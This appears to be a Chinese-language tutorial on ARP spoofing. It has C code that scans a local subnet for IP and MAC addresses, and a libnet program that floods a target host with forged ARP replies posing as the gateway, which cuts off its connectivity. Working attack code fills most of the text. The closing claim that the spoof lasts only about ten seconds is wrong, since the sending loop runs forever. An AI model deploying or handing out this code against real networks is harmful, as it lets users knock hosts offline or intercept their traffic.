获取当前网段的IP、MAC,并对其进行欺骗
这里所说的欺骗,指的是ARP应答欺骗:
正常情况下:一个软件在不同网段之间传输数据的时候,第一次并不知道这个数据包怎么传输过去,这个时候,就会以广播的形式,发送一个ARP请求包,如果发现了相关的网络IP,则会返回一个ARP的应答包,其他的IP也接收到了这个ARP就会将这个包丢弃。
那么ARP应答包里放的是什么呢?其实就返回的最重要的就是一个MAC地址,当获得了这个MAC那么就能往下继续传递数据包。
注意并不是每一次发数据包都会发送这个ARP的请求包,只要一次走通之后,都会在系统上面有记录缓存,但是,这个动态缓存是动态更新的,如果接收到了一个新的ARP应答包,那么这个MAC地址就会被更改。
下面一步一步进行分析:
首先要明白,想要欺骗某个IP,那么前提是要知道它的以太网地址,也就是MAC地址。
当系统发送ARP请求包的时候,目的主机收到的时候,会把自己的MAC地址放在ARP的应答包中返回,但是,这个MAC地址是动态的,也就是收到有一个新的应答包,系统会拆解这个”新的“MAC,并且更新到这个缓存表中。
那么有意思的来了,如果这个回复的ARP中携带的MAC地址是错的怎么办呢?
主机就会发送ARP的请求包,去寻找正确的MAC地址,从而更新这个缓存表。
更有意思的来了,如果一直收到欺骗的应答包呢?
这个IP就会彻底断网,它没有办法找到网关的IP…这个其实真的挺bug的,没有什么简单办法解决。
那么怎么获取别人的MAC呢?
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ether.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <unistd.h>
#include <pthread.h>
void * my_rcvfrom(void * arg)
{
int sockfd = *(int *)arg;
//原始套接字循环读取数据
while(1)
{
sleep(1);
unsigned char buf[1500]=""; //用来接收数据,设置为1500,网络上最大包就是这么大
recvfrom(sockfd,buf,sizeof(buf),0,NULL,NULL); //recvfrom接收所有类型的数据
unsigned short op=ntohs(*(unsigned short *)&buf[20]);//查看这个协议的类型,因为占用了两个字节,所以要使用unsigned short * 类型进行强转
if(op != 2) //如果不是应答包,那就放弃,进行下次循环
continue;
else{
unsigned char arp_mac[18]="";//定义一个数组,用来组包保存收到的当前网段的所有MAC
sprintf(arp_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
char arp_ip[16]="";//定义一个数组,用来组包保存收到的当前网段的所有IP
inet_ntop(AF_INET,(void *)buf+28,arp_ip,16);
printf("%s--------->%s\n",arp_ip,arp_mac);
}
}
}
int main(int argc,char *argv[])
{
//创建原始套接字
int sockfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(sockfd<0)
perror("socket");
else
printf("sockfd=%d\n",sockfd);
//创建线程
pthread_t pth;
pthread_create(&pth,NULL,my_rcvfrom,&sockfd);
pthread_detach(pth);//线程分离,防止阻塞
//获取同一个网段的MAC地址
int i = 1;
//循环组包,给当前网段所有的IP发送ARP请求包
for(i = 1;i<255;i++)
{
//组arp请求包
unsigned char buf[42]={
0xff,0xff,0xff,0xff,0xff,0xff,//目的mac广播
0x00,0x0c,0x29,0xf3,0x98,0x3e,//源mac
0x08,0x06,//帧类型
0x00,0x01,//硬件类型
0x08,0x00,//协议类型
6,
4,
0x00,0x01,//op
0x00,0x0c,0x29,0xf3,0x98,0x3e,//发送端mac
10,9,71,155,//发送端ip
0x00,0x00,0x00,0x00,0x00,0x00,//这个是保存目的的mac,填0就好了
10,9,71,i//请求回复的IP
};
//获取网络接口类型
struct ifreq ethreq;
strncpy(ethreq.ifr_name, "ens33", IFNAMSIZ);
ioctl(sockfd, SIOCGIFINDEX, ðreq);
//定义一个网络接口变量
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
//发送
sendto(sockfd,buf,42,0,(struct sockaddr *)&sll,sizeof(sll));
}
sleep(30);
pthread_cancel(pth);
//关闭套接字
close(sockfd);
return 0;
}
获得到当前网段的所有IP与MAC之后,可以对其进行欺骗
#include <stdio.h>
#include <libnet.h>
#include <unistd.h> //sleep()
int main()
{
//步骤1:数据包初始化
libnet_t *buf = libnet_init(LIBNET_LINK_ADV, "ens33", NULL);
if (buf != NULL)
printf("初始化成功\n");
int i = 0;
libnet_ptag_t ptag_arp = 0;
libnet_ptag_t ptag_mac = 0;
unsigned char dst_mac[] = {0x80, 0xfa, 0x5b, 0x26, 0xd4, 0x10};
unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xf3, 0x98, 0x3e};
unsigned char dst_ip[] = {10, 9, 71, 253}; //想要欺骗的IP
unsigned char src_ip[] = {10, 9, 71, 1}; //伪装成网关给这个IP发arp的应答包
while(1)
{
//步骤2:构造arp数据
ptag_arp = libnet_build_arp(
ARPHRD_ETHER, //以太网
ETHERTYPE_IP, //IP协议
0x06, //硬件地址长度
0x04, //协议地址长度
0x02, //操作类型
src_mac, //发送者硬件地址
src_ip, //发送者协议地址
dst_mac, //目标硬件地址
dst_ip, //目标协议地址
NULL, //负载
0, //负载长度
buf, //数据包句柄
ptag_arp);
//步骤4:构造mac
ptag_mac = libnet_build_ethernet(
dst_mac, //目的mac
src_mac, //源mac
0x0806,
NULL,
0,
buf,
ptag_mac);
for (i = 0; i < 10; i++)
{
sleep(1);
//步骤5:发送数据
int ret = libnet_write(buf);
if (ret != -1)
printf("发送成功\n");
}
}
return 0;
}
此处只是循环了10次,也就是大概欺骗了十秒,主机会发送请求ARP从而主机就恢复。